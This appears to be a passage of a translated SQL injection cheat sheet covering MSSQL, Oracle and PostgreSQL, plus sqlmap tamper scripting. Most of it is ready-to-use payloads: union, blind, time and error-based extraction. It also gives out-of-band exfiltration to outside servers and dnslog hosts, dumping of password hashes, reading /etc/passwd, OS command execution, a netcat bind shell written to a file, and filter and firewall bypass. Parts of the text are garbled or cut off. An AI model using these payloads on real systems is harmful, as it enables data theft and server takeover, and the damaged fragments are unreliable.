part of the content andaccessThe injection is similar, after all, it is a family, such as nolimit,can usetopCooperatedescandnot inWait.
Judgment echo point
union select 1,2,3
sqlserver has requirements for the data type of the field, which can be replaced by null
But if the former table is not displayed, there is no need to consider the field data type later.
query table name
specifyxtypeforU, which represents the user's table

SELECT * from users where id=1 and 1=2 union select top 1 1,id,name from sysobjects where xtype='U'


query field name
passidspecified table

SELECT * from users where id=1 and 1=2 union select top 1 1,2,name from sysobjects where id=1977058079



blind note

related functions

  1. len judge the length
  2. substring intercept string
  3. ascii convert to ascii code
  4. if judgment
  5. WAITFOR DELAY '0:0:5' delay 5 seconds


Determine the number of databases


?id=1 and (select count(name) from master..sysdatabases)=7
?id=1 and (select count(*) from master..sysdatabases where dbid=7)=1




Determine the current database length


and len(db_name())=6



Determine the length of other databases


?id=1 and len(db_name(1))=6



Determine the current library name


?id=1 and substring(db_name(),1,1)='t'


The number of tables in the library


?id=1 and (select count(name) from sysobjects where xtype='U')=5



Judgment table content
The length of the first table of the current library


?id=1 and len((select top 1 name from sysobjects where xtype='U'))=5



Determine the table name of the first table


?id=1 and substring((select top 1 name from test..sysobjects where xtype='U'),1,1)='u'


Determine the length of the second table in the current database


?id=1 and len((select top 1 name from sysobjects where xtype='U' and name not in(select top 1 name from sysobjects where xtype='U')))=6


  1. Determine the table name of the second table

?id=1 and substring((select top 1 name from sysobjects where xtype='U' and name not in(select top 1 name from sysobjects where xtype='U')),1,1)='e'


  1. time blind

?id=1 IF SUBSTRING(DB_NAME(),1,1)='a' WAITFOR DELAY '0:0:5'

Error injection

Error injection
I found a lot of functions in the help documentation, and it seems that I can report errors.


and convert(int,@@version)=1



and db_name(@@version)=1



and file_name(db_name())=1



and col_name(@@SERVERNAME,db_name())=1


Note that col_name requires two parameters, but the error can only display one

and filegroup_name(db_name(1)=1



and PARSENAME(db_name(1),1)=1


Note: There are many more, basically one can be used, enter it in the help documentname, the functions that come out can be tried

Bounce Injection

Usage scenarios: The name is the injection point of SQL but the injection operation cannot be performed, the guessing speed of the injection tool is extremely slow, the error message is closed, and the injection result cannot be returned. These are the problems often encountered in injection attacks. In order to solve the above problems, a better solution is to use the rebound injection technology.

Rebound injection is to use the opendatasource() function of SQL SERVER to send query results to the SQL SERVER database of another external network server.

Rebound injection statement parsing:


insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
Insert into is obviously an insert statement and an opendatasource appears.
opendatasource For the convenience of understanding, it can be understood as 'Use the opendatasource function to send the results of the current database query to another database server.
The name of the PROGID registered as the OLE DB provider used to access the data source is the name of MSSQL is SQLOLEDB
connection string
Connection address, port, username, password, database name
server=connection address,port;uid=username;pwd=password;database=database name
After connecting to the server, select the data table DB_14A5E44_zkaq.dbo.temp and insert the query result of the following statement into that table



Oracle Database Injection Tips


In the Oracle database, the concept of the library is diluted, emphasizing the user
A single line comment is--, the multi-line comment is/**/
In Oracle, it must be followed by a table name, as follows:select * from dual
dualtable, which is a built-in table in the Oracle database
The data type of oracle is a strong match, so the data type of the column is required to be the same during the joint query. You can usenullin place of some data types.

all_tablessave all tables

user_tablesA table that stores the current user

all_tab_columnsstore all fields

select*from user_tab_columns field to store the current user

select*from v$version to check the version

joint query

joint query
Judgment echo point

union all select null,null,null,null from dual


Query current table user

union all select 1,to_nchar(user),null,null from dual


In the Oracle database, the concept of the library is diluted, emphasizing the user
query table name

union all select null,to_nchar(table_name),null,null from user_tables where rownum=1


query next table name

union all select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS'

In addition to this, a single record can be queried using the following methods

select rownum r,table_name from user_tables



select table_name from (select rownum R,table_name from user_tables) where r=2



union all select null,to_nchar(table_name),null,null from (select rownum R,table_name from user_tables) where r=1


get field name

union all select null,to_nchar(column_name),null,null from user_tab_columns


query next

union all select null,to_nchar(column_name),null,null from user_tab_columns where column_name<>'ID'



blind note

length()Calculate the length
substr()intercept string
decode(field or field operation, value 1, value 2, value 3)The result of this function running is that when the value of the field or the operation of the field is equal to the value 1, the function returns the value 2, otherwise it returns the value 3

Boolean blinds

The number of judgment tables

and (select count(table_name) from user_tables)>1



Determine the length of the table name

and (select length(table_name) from user_tables where rownum=1)>1


Judgment shows content

and ascii(substr((select table_name from user_tables where rownum=1),1,1))>1



Blind instr() usage

The instr function is used to intercept strings (source string, target string)

and 1=(instr((select user from dual),'O'))


The page will be wrong when there is an error, and the normal page will be returned correctly

when correct

when wrong

time blind

Oracle's time blind injection usually uses DBMS_PIPE.RECEIVE_MESSAGE(), and the other is the combination of decode() and high time-consuming SQL operations. Of course, it can also be a combination of case, if and other methods and high time-consuming operations. High time-consuming operations refer to, for example: (select count(*) from all_objects), querying or other processing operations on a large amount of data in the database, such operations will consume more time, and then obtain data in this way . This way also works for other databases.

DBMS_PIPE.RECEIVE_MESSAGE() function delay blind injection

The DBMS_LOCK.SLEEP() function can put a process to sleep for many seconds, but there are many restrictions on using this function.

First, the function cannot be injected directly into a subquery, because Oracle does not support stacked queries. Second, only database administrators can use the DBMS_LOCK package.

There is a better way in Oracle PL/SQL to inject delay inline using the following directive: DBMS_PIPE.RECEIVE_MESSAGE('any value', delay time), as follows

dbms_pipe.receive_message('RDS', 10)


The DBMS_PIPE.RECEIVE_MESSAGE function will wait 10 seconds for data returned from the RDS pipeline. By default, execution of the package with public permissions is allowed. In contrast, DBMS_LOCK.SLEEP() is a function that can be used in SQL statements.

Application in Delayed Blinds:

http://www.xxx.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--

http://www.xxx.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--



If the page returns with a delay of 10 seconds, there is injection.

decode function

Use decode() for time blind injection

The basic expression of the decode() function statement is:



Understand the expression as follows:
(1), if expr1 = expr2, the decode function returns the value of the expr3 expression;
(2), if expr1 != expr2, the decode function returns the value of the expr4 expression, or null if expr4 is not specified.

Use decode nested with DBMS_PIPE.RECEIVE_MESSAGE for blind time injection.

http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) and '1'='1


Of course, the delayed operation here does not necessarily use the delay function, but can also use the entries that take more time to query all the database. E.g:

(select count(*) from all_objects)

http://www.xxx.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0


The result of the injected expression can also be judged by this obvious time difference.


Error injection


Through the ctxsys.drithsx.sn function
This function searches for the corresponding keywords about the topic, and then because the query fails, it should be that the user does not have the permission to create and query.

and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum R,table_name from user_tables) where r=2))


and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--


Use the ctxsys.ctx_report.token_type function
This function is used to convert English names to numeric types
Error query at name

and 1=ctxsys.ctx_report.token_type((select user from dual), '1')


The rest of the statements that can be tested

Using dbms_xdb_version related methods to report errors

Error query by returning the id of the new version to the information check-in
Here the location where the statement is inserted is the pathname of the resource

and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--


This function returns the resource ID of the first version of the VCR or the root directory, and performs an error query by the path name of the resource

and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null--


This function is used to check in a resource that has been checked out, and returns the resource id of the version before checking out the resource, and performs error query through the path name of the checked out resource

and(select dbms_xdb_version.uncheckout((selectbannerfromsys.v_$versionwhere rownum=1)) from dual) is not null--


Error reporting using dbms packets
Convert the sqlid to a hash value, and insert a statement at the query sqlid to report an error
Here is an error query for sqlid

and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null--


Errors by returning information about various Oracle Streams properties
Here, the error query is performed by returning the sender name of the current logical change record (LCR) to the message attribute, or by returning the name of the constraint violated by the LCR that caused the error (both in the same location, two usages).

and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null--


The function of this function is to generate the XML schema from the oracle type name
Get data by reporting an error to the type name in the generated xml schema schema

and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null--


Report errors by operating on xml document information
This function extracts translations in XLIFF format from XMLTYPE or resources in XDB
Error query by the location of xpath

and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null--


Using ordsys.ord_dicom.getmappingxpath to report an error
Report an error through an invalid xml path, and the error message will be sent to the page
Here is an error query at the xml path

and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$versionwhere rownum=1),user,user)--


Error using utl_inaddr.get_host_name function
The utl_inaddr.get_host_name function is used to obtain the IP address in the environment, and the information is brought to the page through the statement to report an error
Error query at IP data location

and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))--


Error using XMLType function
Through xmltype, construct the xml data content in the xml data type to report an error
Error query at xml data

and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null--



oob(Out of Band)


Using the UTL_HTTP.REQUEST function
Use this function to send http requests, carry query information, and obtain information by recording request log information

select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select user from dual)||'.ujf6lv.dnslog.cn') FROM sys.DUAL;


Error reporting using dbms_ldap.init
dbms_ldap.init will create a connection to the ldap server, so as to bring out the queried information, send dns requests through this function, and parse logs through dns records to obtain information

select name from test_user where id =1 union select DBMS_LDAP.INIT((select user from dual)||'.ujf6lv.dnslog.cn',80) from dual

' and DBMS_LDAP.INIT((select user from dual)||'.ujf6lv.dnslog.cn',80) is not null-- #后面要加is not null


Functions using packets of utl_inaddr
The UTL_INADDR.GET_HOST_ADDRESS function is used to query the ip address in the environment
Send dns requests through this function, and parse logs through dns records to obtain information

select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select user from dual)||'.ddd.ujf6lv.dnslog.cn') FROM sys.DUAL;

' and utl_inaddr.get_host_address((select 1234567811 from dual)||'.fzrsuf.3w1.pw')=1--

' and utl_inaddr.get_host_address((select 3333333 from dual)||'.fzrsuf.3w1.pw') like 1--


Use the httpuritype function
httpuritype is used to send http requests from database server
Use this function to send http requests, carry query information, and obtain information by recording request log information. You can also use this function to send dns requests, and parse logs through dns records to obtain information

select httpuritype( '').getclob() from dual;

select name from test_user where id =1 union SELECT HTTPURITYPE((select user from dual)||'.xx.ujf6lv.dnslog.cn').GETCLOB() FROM sys.DUAL;


Use the extractvalue function

(select extractvalue(xmltype('
 %nakut;]>'),'/l') from dual)
(select extractvalue(xmltype('
  %remote;]>'),'/l') from dual)
(select extractvalue(xmltype('
  %remote; %param1;]>'),'/l') from dual)
' and (select extractvalue(xmltype('
  %remote;]>'),'/l') from dual)||'
' and 1=(select extractvalue(xmltype('
  %remote;]>'),'/l') from dual) or '1'='1
' AND 1=(select extractvalue(xmltype('
  %remote; %param1;]>'),'/l') from dual)--
' AND 1=(select extractvalue(xmltype('
  %remote; %param1;]>'),'/l') from dual)--



PostgreSQL injection tricks






-- single line

/**/ Multi-line


SELECT version()

View current users

SELECT user;

SELECT current_user;

SELECT session_user;

SELECT usename FROM pg_user;

SELECT getpgusername();


List user table contents

SELECT usename FROM pg_user


List password hashes

SELECT usename, passwd FROM pg_shadow


List database super administrator accounts

SELECT usename FROM pg_user WHERE usesuper IS TRUE


List permission information

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user


Query the current database name

SELECT current_database()


query all databases

SELECT datname FROM pg_database


List table information

SELECT table_name FROM information_schema.tables


output column information

SELECT column_name FROM information_schema.columns WHERE table_name='data_table'



Error injection






' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1

' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1

' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1

' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1



PostgreSQL XML support


select query_to_xml('select * from pg_user',true,true,''); -- return data in xml format


abovequery_to_xmlReturns all results of the specified query as one result. Combine this with the &quot;PostgreSQL error injection&quot; technique to steal data without worrying about limiting the query to one result.

select database_to_xml(true,true,''); -- Dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current database to an XML schema



Note that for the above query, the output needs to be assembled in memory. For larger databases, this can lead to slowdowns or denial of service attacks.


blind note


' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO




time blind






stack injection


use semicolon;to add another query

http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--



file read


select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);



Note: Earlier versions of PostgreSQL did not accept absolute paths in pg_read_file or pg_ls_dir. The newer version will allow reading any file/file path for superusers or users in the default_role_read_server_files group.

COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from above
SELECT * from pg_largeobject; -- or just get all large objects and their data




write file


CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data on the large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport




command execution



If you have direct access to the database, you can leverage Metasploit directly, otherwise you need to manually execute the following SQL query.

DROP TABLE IF EXISTS cmd_exec; -- [optional] If the table to be used already exists, drop it
CREATE TABLE cmd_exec(cmd_output text); -- create a table to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- run system commands through the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [optional] view results
DROP TABLE IF EXISTS cmd_exec; -- [optional] drop table




Utilize libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc  ');







use the chr function

SELECT CHR(65)||CHR(66)||CHR(67);


Use the $ sign ( &gt;= version 8 PostgreSQL)

SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$




injection tool





SQLmap is an automated SQL injection tool, its main function is to scan, discover and exploit the SQL injection vulnerabilities of a given URL, currently supported databases are MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Acess, IBM DB2, SQLLite, Firebird, Sybase and SAP MaxDB… SQLmap uses several unique SQL injection techniques, namely blind reasoning SQL injection, UNION query SQL injection, pair query and blind injection. Its extensive capabilities and options include database fingerprinting, enumeration, database extraction, access to target filesystems, and execution of arbitrary commands while gaining full operational privileges.

When Sqlmap starts to detect a url, it will:

  1. Determine the parameters selected when injecting
  2. Determine which database to use
  3. Determine which sql injection technique to use for injection
  4. According to the user's selection needs, obtain the corresponding required data

For detailed sqlmap usage parameters (options) and details, you can refer tosql manual. Here you can get help on using sqlmap for all supported features, parameters, command-line option switches, and descriptions.


Written by Tamper


Using the tamper script provided by SQLMap can avoid the sensitive character filtering of the application to a certain extent, bypass the blocking of WAF rules, and then conduct infiltration attacks. Instructions:

sqlmap.py XXXXX -tamper &quot;module name&quot;


About the tamper and comments that come with sqlmap, you can see it in the manual above. Here we discuss how to write Tamper.

Tamper script is based on python language. To illustrate the structure of a tamper, let's start with the simplest example:

# sqlmap/tamper/escapequotes.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():


def tamper(payload, **kwargs):

return payload.replace("'", "\\'").replace('"', '\\"')


You can see that the basic structure of the tamper script ispriorityvariable definitions anddependencies、 tamperfunction definition.

priority defines the priority of the script, used when there are multiple tamper scripts.
The dependencies function declares the scope to which the script is applicable or not, and can be empty.
Tamper is the main function, the accepted parameters are payload and **kwargs, and the return value is the replaced payload.



Detailed introduction:


In the built-in tamper script, there are the following priorities that can be customized-100~100

__priority__ = PRIORITY.LOWEST

__priority__ = PRIORITY.LOWER

__priority__ = PRIORITY.LOW

__priority__ = PRIORITY.NORMAL

__priority__ = PRIORITY.HIGH

__priority__ = PRIORITY.HIGHER

__priority__ = PRIORITY.HIGHEST


dependencies function

dependenciesFunction, which declares the environment supported/unsupported by tamper script, can be empty, such as:

import os

from lib.core.common import singleTimeWarnMessage

def dependencies():

singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))

#singleTimeWarnMessage() is used to print a warning message to the console


tamper function

tamper is the body of the entire script. Mainly used to modify the original payload. For example, if there are so few lines of code on the server

$id = trim($POST($id),'union');

$sql="SELECT * FROM users WHERE id='$id'";


And our payload is

-8363' union select null -- -


Here, because the union is filtered out, the payload will not be executed normally, so you can write such a tamper

def tamper(payload, **kwargs):
return payload.replace('union','uniounionn')



Save it as replaceunion.py, save it to sqlmap/tamper/, and execute it with the parameter –tamper=replaceunion to bypass the filtering rule.


Of the 47 official tamper scripts, the kwargs parameter is only used twice, both times just changing the http-header

# sqlmap/tamper/vanrish.py

def tamper(payload, **kwargs):

headers = kwargs.get("headers", {})

headers["X-originating-IP"] = ""

return payload


Tamper's writing is much more than that, and this block only discusses its most basic structure. As an extension of sqlmap, almost all built-in functions and variables of sqlmap can be used when writing tamper, which can also be found in the manual.


sqlmap udf privilege escalation


The previous content of this article has mentioned the content of udf privilege escalation, and its implementation in sqlmap is described here.

The 32-bit lib_mysqludf_sys.dll is stored in the sqlmap\data\udf\mysql\windows\32 directory, but the shell and some binary files that come with sqlmap are encoded by XOR in order to prevent accidental killing and cannot be used directly. You can use the decoding tool cloak.py that comes with sqlmap to enter the sqlmap\extra\cloak directory and execute the command: python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys. dll

After decoding, a dll file will be generated in the sqlmap\data\udf\mysql\windows\32 folder.

UDF privilege escalation command using sqlmap:

sqlmap.py -d “mysql://root:[email protected]:3306/test” -–os-shell

The built-in dll of sqlmap supports the following functions:








access injection collection (https://bbs.zkaq.cn/t/4481.html)